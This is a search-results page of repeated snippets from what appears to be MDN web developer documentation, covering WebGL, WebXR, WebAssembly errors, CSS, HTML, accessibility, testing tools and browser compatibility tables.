WebGL machine, which in turn changes how input (in this case, a clear command) translates into output (in this case, all pixels are set to green). Finally, we note that color in
WebGL is usually in RGBA format, that is four numerical components for red, green, blue and alpha (opacity). ...
...And 5 more matches
XRSession - Web APIs
With XRSession methods, you can poll the viewer's position and orientation (the XRViewerPose), gather information about the user's environment, and present imagery to the user. XRSession supports both inline and immersive virtual and augmented reality modes. Properties In addition to the properties listed below, XRSession inherits properties from its parent interface, EventTarget. ...
...modes. Properties In addition to the properties listed below, XRSession inherits properties from its parent interface, EventTarget. environmentBlendMode Read only Returns this session's blend mode which denotes how much of the real-world environment is visible through the XR device and how the device will blend the device imagery with it. Note: environmentBlendMode() is part of the
WebXR Augmented Reality Module, which has not been completed. inputSources Read only Returns a list of this session's XRInputSources, each representing an input device used to control the camera and/or scene. renderState Read only An XRRenderState object which contains options affecting how the imagery is rendered. This includes things such as the near and far clipping planes (distances d...
... target for user events. Methods XRSession provides the following methods in addition to those inherited from its parent interface, EventTarget. cancelAnimationFrame() Removes a callback from the animation frame painting callback from XRSession's set of animation frame rendering callbacks, given the identifying handle returned by a previous call to requestAnimationFrame(). end() Ends the
WebXR session. Returns a promise which resolves when the session has been shut down. requestAnimationFrame() Schedules the specified method to be called the next time the user agent is working on rendering an animation frame for the
WebXR device. Returns an integer value which can be used to identify the request for the purposes of canceling the callback using cancelAnimationFrame(). This method is...
...And 5 more matches
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
no-repeat The mask image is not repeated vertically; only one copy of the mask image is drawn in vertical direction. The vertical remainder of the masked element's content is not displayed. repeat The mask image is repeated vertically. ...
... no-repeat The mask image is not repeated vertically; only one copy of the mask image is drawn in vertical direction. The vertical remainder of the masked element's content is not displayed. repeat The mask image is repeated vertically. ...
... no-repeat The mask image is not repeated vertically; only one copy of the mask image is drawn in vertical direction. The vertical remainder of the masked element's content is not displayed. repeat The mask image is repeated vertically. ...
...And 5 more matches
WebAssembly.CompileError - JavaScript
The
WebAssembly.CompileError object indicates an error during
WebAssembly decoding or validation. Constructor
WebAssembly.CompileError() Creates a new
WebAssembly.CompileError object. Instance properties
WebAssembly.CompileError.prototype.message Error message. Although ECMA-262 specifies that URIError should provide its own message property, in SpiderMonkey, it inherits Error.prototype.message.
WebAssembly.CompileError.prototype.name Error name. Inherited from Error.
WebAssembly.CompileError.prototype.fileName Path to file that raised this error. Inherited from Error.
WebAssembly.CompileError.prototype.lineNumber Line number in file that raised this error. Inherited from Error.
WebAssembly.CompileError.prototype.columnNumber Column number in line that raised this error. I...
...ompileError.prototype.name Error name. Inherited from Error.
WebAssembly.CompileError.prototype.fileName Path to file that raised this error. Inherited from Error.
WebAssembly.CompileError.prototype.lineNumber Line number in file that raised this error. Inherited from Error.
WebAssembly.CompileError.prototype.columnNumber Column number in line that raised this error. Inherited from Error.
WebAssembly.CompileError.prototype.stack Stack trace. Inherited from Error. Instance methods
WebAssembly.CompileError.prototype.toSource() Returns code that could eval to the same error. Inherited from Error.
WebAssembly.CompileError.prototype.toString() Returns a string representing the specified Error object.. Inherited from Error. Examples Creating a new CompileError instance The foll...
....CompileError.prototype.toSource() Returns code that could eval to the same error. Inherited from Error.
WebAssembly.CompileError.prototype.toString() Returns a string representing the specified Error object.. Inherited from Error. ...
...And 5 more matches
WebAssembly.LinkError - JavaScript
The
WebAssembly.LinkError object indicates an error during module instantiation (besides traps from the start function). Constructor
WebAssembly.LinkError() Creates a new
WebAssembly.LinkError object. Instance properties
WebAssembly.LinkError.prototype.message Error message. Although ECMA-262 specifies that URIError should provide its own message property, in SpiderMonkey, it inherits Error.prototype.message.
WebAssembly.LinkError.prototype.name Error name. Inherited from Error.
WebAssembly.LinkError.prototype.fileName Path to file that raised this error. Inherited from Error.
WebAssembly.LinkError.prototype.lineNumber Line number in file that raised this error. Inherited from Error. ...
...ies that URIError should provide its own message property, in SpiderMonkey, it inherits Error.prototype.message.
WebAssembly.LinkError.prototype.name Error name. Inherited from Error.
WebAssembly.LinkError.prototype.fileName Path to file that raised this error. Inherited from Error.
WebAssembly.LinkError.prototype.lineNumber Line number in file that raised this error. Inherited from Error.
WebAssembly.LinkError.prototype.columnNumber Column number in line that raised this error. Inherited from Error.
WebAssembly.LinkError.prototype.stack Stack trace. Inherited from Error. ...
...ototype.fileName Path to file that raised this error. Inherited from Error.
WebAssembly.LinkError.prototype.lineNumber Line number in file that raised this error. Inherited from Error.
WebAssembly.LinkError.prototype.columnNumber Column number in line that raised this error. Inherited from Error.
WebAssembly.LinkError.prototype.stack Stack trace. Inherited from Error. Instance methods
WebAssembly.LinkError.prototype.toSource() Returns code that could eval to the same error. Inherited from Error.
WebAssembly.LinkError.prototype.toString() Returns a string representing the specified Error object.. Inherited from Error. ...
...And 5 more matches
Web Standards - Archive of obsolete content
Web standards are carefully designed to deliver the greatest benefits to the greatest number of
web users while ensuring the long-term viability of any document published on the
Web. Designing and building with these standards simplifies and lowers the cost of production, while delivering sites that are accessible to more people and more types of Internet devices. Sites developed along these lines will continue to function correctly as traditional desktop browsers evolve, and as new Internet devices come to market. ...
...ile delivering sites that are accessible to more people and more types of Internet devices. Sites developed along these lines will continue to function correctly as traditional desktop browsers evolve, and as new Internet devices come to market. [1] Documentation Migrate apps from Internet Explorer to Mozilla Ever have trouble getting your Internet Explorer-specific
Web applications to work with Mozilla? This article covers common issues associated with migrating applications to the open source Mozilla-based browser. Using
Web Standards in your
Web Pages This article provides an overview of the process for upgrading the content of your
web pages to conform to the W3C
web standards. Choosing Standards Compliance Over Proprietary Practices In t...
... Using
Web Standards in your
Web Pages This article provides an overview of the process for upgrading the content of your
web pages to conform to the W3C
web standards. Choosing Standards Compliance Over Proprietary Practices In the development world, there is a need for standards because applications are designed across multiple development groups. The Business Benefits of
Web Standards This article discusses how adhering to
web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals. Community View Mozilla forums... Mailing list Newsgroup RSS feed The
Web Standards Project
WebDev FeedHouse Other community links... Tools ...
...And 4 more matches
Mobile accessibility - Learn web development
Previous Overview: Accessibility Next With
web access on mobile devices being so popular and renowned platforms such as iOS and Android having full-fledged accessibility tools, it is important to consider the accessibility of your
web content on these platforms. This article looks at mobile-specific accessibility considerations. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and JavaScript, and an understanding of the previous articles in the course. Objective: To understand what problems exist with accessibility on mobile devices, and how to overcome them. Accessibility on mobile devices The state of accessibility -- and support for
web standards in general -- is good in modern mobile devices. Long gone are the days when...
..., and an understanding of the previous articles in the course. Objective: To understand what problems exist with accessibility on mobile devices, and how to overcome them. Accessibility on mobile devices The state of accessibility -- and support for
web standards in general -- is good in modern mobile devices. ...
...-- is good in modern mobile devices. Long gone are the days when mobile devices ran completely different
web technologies to desktop browsers, forcing developers to use browser sniffing and serve them completely separate sites (although quite a few companies still detect usage of mobile devices and serve them a separate mobile domain). These days, mobile devices can usually handle fully-featured
websites, and the main platforms even have screenreaders built in to enable visually impaired users to use them successfully. Modern mobile browsers tend to have good support for WAI-ARIA, too. To make a
website accessible and usable on mobile, you just need to follow general good
web design and accessibility best practices. There are some exceptions that need special consideration for mobile; the ...
...And 4 more matches
CSS layout - Learn web development
ow it's time to look at how to place your boxes in the right place in relation to the viewport, and one another. We have covered the necessary prerequisites so we can now dive deep into CSS layout, looking at different display settings, modern layout tools like flexbox, CSS grid, and positioning, and some of the legacy techniques you might still want to know about. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you should already: Have basic familiarity with HTML, as discussed in the Introduction to HTML module. Be comfortable with CSS fundamentals, as discussed in Introduction to CSS. Understand how to style boxes. N...
...ther device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin or Glitch. Guides These articles will provide instruction on the fundamental layout tools and techniques available in CSS. At the end of the lessons is an assessment to help you check your understanding of layout methods, by laying out a
webpage. Introduction to CSS layout This article will recap some of the CSS layout features we've already touched upon in previous modules -- such as different display values -- and introduce some of the concepts we'll be covering throughout this module. Normal flow Elements on
webpages lay themselves out according to normal flow - until we do something to change that. This article explains the...
... to change it. Flexbox Flexbox is a one-dimensional layout method for laying out items in rows or columns. Items flex to fill additional space and shrink to fit into smaller spaces. This article explains all the fundamentals. After studying this guide you can test your flexbox skills to check your understanding before moving on. Grids CSS Grid Layout is a two-dimensional layout system for the
web. It lets you lay content out in rows and columns, and has many features that make building complex layouts straightforward. This article will give you all you need to know to get started with page layout, then test your grid skills before moving on. Floats Originally for floating images inside blocks of text, the float property became one of the most commonly used tools for creating multiple co...
...And 4 more matches
CSS FAQ - Learn web development
In this article, you'll find some frequently-asked questions (FAQs) about CSS, along with answers that may help you on your quest to become a
web developer. Why doesn't my CSS, which is valid, render correctly? Browsers use the DOCTYPE declaration to choose whether to show the document using a mode that is more compatible with
Web standards or with old browser bugs. Using a correct and modern DOCTYPE declaration at the start of your HTML will improve browser standards compliance. Modern browsers have two main rendering modes: Quirks Mode: also called backwards-compatibility mode, allows legacy
webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. Documents with an incomplete, incorrect, or missing DOCTYPE declarati...
...ransitional.dtd"> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> When at all possible, you should just use the HTML5 doctype. Why doesn't my CSS, which is valid, render at all? Here are some possible causes: You've got the path to CSS file wrong. To be applied, a CSS stylesheet must be served with a text/css MIME type. If the
Web server doesn't serve it with this type, it won't be applied. What is the difference between id and class? HTML elements can have an id and/or class attribute. The id attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. The class attribute assigns a class name to the element, and that name can be used on many elements with...
...iv> will therefore be red. div { color: black; } #orange { color: orange; } .green { color: green; } <div id="orange" class="green" style="color: red;">This is red</div> The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the CSS 2.1 Specification chapter 6.4.3. ...
...And 4 more matches
What is accessibility? - Learn web development
In this article we give general accessibility principles and explain a few rules. Active learning There is no active learning available yet. Dig deeper Accessibility: general principles We might associate accessibility at first with negative limitations. This building has to be accessible, so it must follow these regulations for door width and toilet size and elevator placement. ...
...sibility: general principles We might associate accessibility at first with negative limitations. This building has to be accessible, so it must follow these regulations for door width and toilet size and elevator placement. That's a narrow way to think of accessibility. Think of it as a wonderful way to empower people and serve more customers. ...
...irst with negative limitations. This building has to be accessible, so it must follow these regulations for door width and toilet size and elevator placement. That's a narrow way to think of accessibility. Think of it as a wonderful way to empower people and serve more customers. ...
...And 4 more matches
HTML basics - Learn web development
For example, content could be structured within a set of paragraphs, a list of bulleted points, or using images and data tables. As the title suggests, this article will give you a basic understanding of HTML and its functions. So what is HTML? HTML is not a programming language; it is a markup language that defines the structure of your content. HTML consists of a series of elements, which you use to enclose, or wrap, different parts of the content to make it appear a certain way, or act a certain way. ...
...e properly nested. In the example above, we opened the <p> element first, then the <strong> element; therefore, we have to close the <strong> element first, then the <p> element. The following is incorrect: <p>My cat is <strong>very grumpy.</p></strong> The elements have to open and close correctly so that they are clearly inside or outside one another. If they overlap as shown above, then your
web browser will try to make the best guess at what you were trying to say, which can lead to unexpected results. So don't do it! Empty elements Some elements have no content and are called empty elements. Take the <img> element that we already have in our HTML page: <img src="images/firefox-icon.png" alt="My test image"> This contains two attributes, but there is no closing </img> tag and no inn...
... on it. There is no reason not to set this and it can help avoid some problems later on. <title></title> -- the <title> element. This sets the title of your page, which is the title that appears in the browser tab the page is loaded in. It is also used to describe the page when you bookmark/favourite it. <body></body> -- the <body> element. This contains all the content that you want to show to
web users when they visit your page, whether that's text, images, videos, games, playable audio tracks or whatever else. Images Let's turn our attention to the <img> element again: <img src="images/firefox-icon.png" alt="My test image"> As we said before, it embeds an image into our page in the position it appears. It does this via the src (source) attribute, which contains the path to our image...
...And 4 more matches
Advanced text formatting - Learn web development
de a cite attribute. For example, the following markup is taken from the MDN <blockquote> element page: <p>The <strong>HTML <code><blockquote></code> Element</strong> (or <em>HTML Block Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p> To turn this into a block quote, we would just do this: <p>Here below is a blockquote...</p> <blockquote cite="/docs/
Web/HTML/Element/blockquote"> <p>The <strong>HTML <code><blockquote></code> Element</strong> (or <em>HTML Block Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p> </blockquote> Browser default styling will render this as an indented paragraph, as an indicator that it is a quote; the paragraph above the quotation is there to demonstrate that. Inline q...
...ill render this as an indented paragraph, as an indicator that it is a quote; the paragraph above the quotation is there to demonstrate that. Inline quotations Inline quotations work in exactly the same way, except that they use the <q> element. For example, the below bit of markup contains a quotation from the MDN <q> page: <p>The quote element -- <code><q></code> -- is <q cite="/docs/
Web/HTML/Element/q">intended for short quotations that don't require paragraph breaks.</q></p> Browser default styling will render this as normal text put in quotes to indicate a quotation, like so: Citations The content of the cite attribute sounds useful, but unfortunately browsers, screenreaders, etc. don't really do much with it. There is no way to get the browser to display the contents of ...
... the source of the quotation available on the page you need to make it available in the text via a link or some other appropriate way. There is a <cite> element, but this is meant to contain the title of the resource being quoted, e.g. the name of the book. ...
...And 4 more matches
Responsive images - Learn web development
s with widely differing screen sizes, resolutions, and other such features -- and look at what tools HTML provides to help implement them. This helps to improve performance across different devices. Responsive images are just one part of responsive design, a future CSS topic for you to learn. Prerequisites: You should already know the basics of HTML and how to add static images to a
web page. Objective: Learn how to use features like srcset and the <picture> element to implement responsive image solutions on
websites. Why responsive images? Let's examine a typical scenario. A typical
website may contain a header image and some content images below the header. The header image will likely span the whole of the width of the header, and the content image will fi...
...arge image on a screen significantly smaller than the size it was meant for. Doing so can waste bandwidth; in particular, mobile users don't want to waste bandwidth by downloading a large image intended for desktop, when a small image would do for their device. Ideally, you would have multiple resolutions available and serve the appropriate size depending upon the device accessing the data on the
website. To make things more complicated, some devices have high resolution screens that need larger images than you might expect to display nicely. This is essentially the same problem, but in a slightly different context. You might think that vector images would solve these problems, and they do to a certain degree -- they are small in file size and scale well, and you should use them wherever po...
...However, they aren't suitable for all image types. Vector images are great for simple graphics, patterns, interface elements, etc., but it starts to get very complex to create a vector-based image with the kind of detail that you'd find in say, a photo. Raster image formats such as JPEGs are more suited to the kind of images we see in the above example. This kind of problem didn't exist when the
web first existed, in the early to mid 90s -- back then the only devices in existence to browse the
Web were desktops and laptops, so browser engineers and spec writers didn't even think to implement solutions. Responsive image technologies were implemented recently to solve the problems indicated above by letting you offer the browser several image files, either all showing the same thing but contai...
...And 4 more matches
Multimedia and Embedding - Learn web development
Get started Prerequisites Before starting this module, you should have a reasonable understanding of the basics of HTML, as previously covered in Introduction to HTML. ...
... Get started Prerequisites Before starting this module, you should have a reasonable understanding of the basics of HTML, as previously covered in Introduction to HTML. ...
... Get started Prerequisites Before starting this module, you should have a reasonable understanding of the basics of HTML, as previously covered in Introduction to HTML. ...
...And 4 more matches
Introduction to automated testing - Learn web development
nguages; an idea of the high level principles of cross-browser testing. Objective: To provide an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the commercial products that make things easier. Automation makes things easy Throughout this module we have detailed loads of different ways in which you can test your
websites and apps, and explained the sort of scope your cross-browser testing efforts should have in terms of what browsers to test, accessibility considerations, and more. Sounds like a lot of work, doesn't it? We agree -- testing all the things we've looked at in previous articles manually can be a real pain. Fortunately, there are tools to help us automate some of this pain away. There are two ma...
...ful scripts on your projects. Once the install completes, test that node is installed by typing the following into the terminal, which returns the installed versions of Node and npm: node -v npm -v If you've got Node/npm already installed, you should update them to their latest versions. To update Node, the most reliable way is to download and install an updated installer package from their
website (see link above). To update npm, use the following command in your terminal: npm install npm@latest -g Note: If the above command fails with permissions errors, Fixing npm permissions should sort you out. To start using Node/npm-based packages on your projects, you need to set up your project directories as npm projects. This is easy to do. For example, let's first create a test dir...
... If you get errors, check that you've added all the dependencies and the tests as shown above; also try commenting out the HTML/CSS/JavaScript code sections and then rerunning gulp to see if you can isolate what the problem is. Gulp comes with a watch() function that you can use to watch your files and run tests whenever you save a file. For example, try adding the following to the bott...
...And 4 more matches
Package management basics - Learn web development
Prerequisites: Familiarity with the core HTML, CSS, and JavaScript languages. Objective: To understand what package managers and package repositories are, why they are needed, and the basics of how to use them. A dependency in your project A dependency is a third-party bit of software that was probably written by someone else and ideally solves a single problem for you. A
web project can have any number of dependencies, ranging from none to many, and your dependencies might include sub-dependencies that you didn't explicitly install -- your dependencies may have their own dependencies. A simple example of a useful dependency that your project might need is some code to calculate relative dates as human-readable text. You could certainly code this yourself, but there'...
... library, or it can be a command line tool such as Prettier or eslint, which we talked about in previous articles. Without modern build tools, dependencies like this might be included in your project using a simple <script> element, but this might not work right out of the box and you will likely need some modern tooling to bundle your code and dependencies together when they are released on the
web. A bundle is the term that's generally used to refer to a single file on your
web server that contains all the JavaScript for your software -- typically compressed as much as possible to help reduce the time it takes to get your software downloaded and displayed in your visitors' browser. In addition, what happens if you find a better tool that you want to use instead of the current one, or a ne...
...ode-based package managers) you have two options for where you install your dependencies. As we touched on in the previous article, dependencies can be installed globally or locally to your project. Although there tend to be more pros for installing globally, the pros for installing locally are more important -- such as code portability and version locking. For example, if your project relied on
Webpack with a certain configuration, you'd want to ensure that if you installed that project on another machine or returned to it much later on, the configuration would still work. If a different version of
Webpack was installed, it may not be compatible. To mitigate this dependencies are installed locally to a project. To see local dependencies really shine, all you need to do is try to download a...
...And 4 more matches
WebReplayRoadmap
Replay was an early-stage experiment and is no longer part of Firefox. This document describes existing, planned, and potential features for the Firefox developer tools that are based on
Web Replay, along with their UI. The low level, yet flexible architecture (described here) provides an extremely powerful platform for implementing debugging and analysis features. We would like to use
Web Replay to radically improve not just the debugging experience but the entire
web development experience. To that end, this document will be revised over time as we find new and better ways of helping developers. Time Travel Features More features are planned for the timeline, as described below. Retroactive Console Logging Console logging is one of the primary tools most developers use to ...
.... One important issue is that any side effects from evaluating expressions via the Console or the Debugger's watch expressions will not carry over when the tab resumes executing. This restriction is in place to ensure that JS executes the same way when replaying as it did while recording. Dynamic Analysis Features An important but as-yet unexploited advantage of being able to exactly replay a
Web Replay recording is that the recording can be analyzed without overhead affecting the user's experience. This section describes some analyses that could be performed and be helpful for developers who are either debugging a problem, or trying to understand or improve a complex code base. Comparing Executions (not yet implemented) Comparing the behavior of a recording that exhibits a bug with a ...
...quire some experimentation, but in many cases the buggy recording should hit different locations in the source or exhibit different types from the normal recording. Using a corpus of several normal recordings (or buggy recordings) would reduce false positives due to incidental differences between the recordings. Aggregate Call Graph and Data Flow (not yet implemented) When developing a complex
web app it is often hard to find where a function is called, the callees at a call site, where some data in an object came from or where it is used, or what type a value has. These questions can be answered by analyzing one or more recordings to study their behavior in detail. If the debugger could perform this analysis then it could show this information to developers and help them understand the ...
...And 4 more matches
nsIWebProgressListener2
An extended version of nsI
WebProgressListener. uriloader/base/nsI
WebProgressListener2.idlScriptable Please add a summary to this article. Last changed in Gecko 1.9 (Firefox 3) Inherits from: nsI
WebProgressListener Method overview void onProgressChange64(in nsI
WebProgress a
WebProgress, in nsIRequest aRequest, in long long aCurSelfProgress, in long long aMaxSelfProgress, in long long aCurTotalProgress, in long long aMaxTotalProgress); boolean onRefreshAttempted(in nsI
WebProgress a
WebProgress, in nsIURI aRefreshURI, in long aMillis, in boolean aSameURI); Methods onProgressChange64() Notification that the progress has changed for one of the requests associated with a
WebProgress. ...
...ng long aMaxSelfProgress, in long long aCurTotalProgress, in long long aMaxTotalProgress); boolean onRefreshAttempted(in nsI
WebProgress a
WebProgress, in nsIURI aRefreshURI, in long aMillis, in boolean aSameURI); Methods onProgressChange64() Notification that the progress has changed for one of the requests associated with a
WebProgress. Progress totals are reset to zero when all requests in a
WebProgress complete (corresponding to onStateChange being called with aStateFlags including the STATE_STOP and STATE_IS_WINDOW flags). This function is identical to nsI
WebProgressListener.onProgressChange(), except that this function supports 64-bit values. ...
...aRequest The nsIRequest that has new progress. aCurSelfProgress The current progress for aRequest. ...
...And 4 more matches
ANGLE_instanced_arrays - Web APIs
Despite the name "ANGLE", this extension works on any device if the hardware supports it and not just on Windows when using the ANGLE library. ...
... Despite the name "ANGLE", this extension works on any device if the hardware supports it and not just on Windows when using the ANGLE library. ...
... Despite the name "ANGLE", this extension works on any device if the hardware supports it and not just on Windows when using the ANGLE library. ...
...And 4 more matches
BudgetState - Web APIs
Properties BudgetState.budgetAt Returns the anticipated processing budget at a specific time. BudgetState.time Returns a timestamp at which the budgetAt value is valid. Methods None. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...cific time. BudgetState.time Returns a timestamp at which the budgetAt value is valid. Methods None. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...a for AndroidSafari on iOSSamsung InternetBudgetState ExperimentalDeprecatedNon-standardChrome Full support 60Edge Full support <=79Firefox ? IE ? Opera No support NoSafari ?
WebView Android No support NoChrome Android Full support 60Firefox Android ? Opera Android No support NoSafari iOS ? Samsung Internet Android Full support 8.0budge...
...And 4 more matches
EXT_frag_depth - Web APIs
It requires GLSL #version 300 es. ...
...It requires GLSL #version 300 es. ...
...It requires GLSL #version 300 es. ...
...And 4 more matches
EXT_shader_texture_lod - Web APIs
It requires GLSL #version 300 es. ...
...It requires GLSL #version 300 es. ...
...It requires GLSL #version 300 es. ...
...And 4 more matches
EXT_texture_filter_anisotropic - Web APIs
Constants ext.MAX_TEXTURE_MAX_ANISOTROPY_EXT This is the pname argument to the gl.getParameter() call, and it returns the maximum available anisotropy. ...
... Constants ext.MAX_TEXTURE_MAX_ANISOTROPY_EXT This is the pname argument to the gl.getParameter() call, and it returns the maximum available anisotropy. ...
... Constants ext.MAX_TEXTURE_MAX_ANISOTROPY_EXT This is the pname argument to the gl.getParameter() call, and it returns the maximum available anisotropy. ...
...And 4 more matches
FileException - Web APIs
In the File System API, a FileException object represents error conditions that you might encounter while accessing the file system using the synchronous API. It extends the FileException interface described in File Writer and adds several new error codes. Basic concepts Synchronous APIs do not have error callbacks, which makes it difficult to catch errors. The added complexity of using
WebWorkers with this API makes debugging even more challenging. To simplify things a bit, wrap your worker code in a try/catch. When errors occur, forward them to the main app using postMessage() as in the following: function onError(e) { postMEssage('ERROR:' + e.toString()); } try { //Error is thrown if "log.txt" already exists. var fileEntry = fs.root.getFile('log.txt', {create: true, exclusi...
...e file or directory with the same path already exists. QUOTA_EXCEEDED_ERR 10 Either there's not enough remaining storage space or the storage quota was reached and the user declined to give more space to the database. SECURITY_ERR 2 Access to the files were denied for one of the following reasons: The files might be unsafe for access within a
Web application. Too many calls are being made on file resources. Other unspecified security error code or situations. TYPE_MISMATCH_ERR 11 The user has attempted to look up a file or directory, but the Entry found is of the wrong type. For example, the app is accessing a DirectoryEntry when the user is requesting a FileEntry. Browser compatibility The compat...
...ong type. For example, the app is accessing a DirectoryEntry when the user is requesting a FileEntry. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 4 more matches
FileSystemDirectoryReader - Web APIs
Entries API Draft Draft of proposed API This API has no official W3C or WHATWG specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Full support 8Alternate Name Full support 8Alternate Name Alternate Name Uses the non-standard name: DirectoryReaderEdge Full support <=18Alternate Name Full support <=18Alternate Name Alternate Name Uses the non-standard name:
WebKitDirectoryReaderFirefox Full support 50IE No support NoOpera Full support YesPrefixed Full support YesPrefixed Prefixed Implemented with the vendor prefix:
webkitSafari Full support ...
...aderFirefox Full support 50IE No support NoOpera Full support YesPrefixed Full support YesPrefixed Prefixed Implemented with the vendor prefix:
webkitSafari Full support 11.1
WebView Android Full support <=37Alternate Name Full support <=37Alternate Name Alternate Name Uses the non-standard name: DirectoryReaderChrome Android Full support 18Alternate Name Full support 18Alternate Name Alternat...
...And 4 more matches
FileSystemFileEntry - Web APIs
s APIThe definition of 'FileSystemFileEntry' in that specification. Draft Draft of proposed API Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...tryChrome Full support 8Alternate Name Full support 8Alternate Name Alternate Name Uses the non-standard name: FileEntryEdge Full support 79Prefixed Full support 79Prefixed Prefixed Implemented with the vendor prefix:
webkitFirefox Full support 50IE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Alternate Name Full support ...
...Full support 50Opera Android No support NoSafari iOS Full support 11.3Samsung Internet Android Full support YesPrefixed Full support YesPrefixed Prefixed Implemented with the vendor prefix:
webkitcreateWriter DeprecatedNon-standardChrome Full support 8Edge Full support 79Firefox No support 50 -- 52Notes No support 50 -- 52Notes Notes While the createWriter() method existed, it immediately called errorCallback with the NS_ERROR_DOM_SECURITY_ERR er...
...And 4 more matches
GestureEvent - Web APIs
Events using this interface include gesturestart, gesturechange, and gestureend. GestureEvent derives from UIEvent, which in turn derives from Event. Constructor GestureEvent() Creates a GestureEvent object. Properties This interface also inherits properties of its parents, UIEvent and Event. GestureEvent.rotation Read only Change in rotation (in degrees) since the event's beginning. Positive values indicate clockwise rotation; negative values indicate anticlockwise rotation. Initial value: 0.0 GestureEvent.scale Read only Distance between two digits since the event's beginning. ...
...d Specifications Not part of any specification. Apple has a description at the Safari Developer Library. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...nt Non-standardChrome No support NoEdge No support NoFirefox No support NoIE No support NoOpera No support NoSafari Full support 9
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android No support NoSafari iOS Full support 2Samsung Internet Android ...
...And 4 more matches
HTMLMediaElement.onencrypted - Web APIs
encrypted. This interface inherits from the ExtendableEvent interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 4 more matches
HTMLMediaElement.onwaitingforkey - Web APIs
yption key. This interface inherits from the ExtendableEvent interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 4 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
ti-core systems, and JavaScript has become one of the most prolifically-used languages in the computing world. A vast number of the most popular applications are based at least in part on JavaScript code. To support this, it was necessary to find ways to allow for projects to escape the limitations of a single-threaded language. Starting with the addition of timeouts and intervals as part of the
Web API (setTimeout() and setInterval()), the JavaScript environment provided by
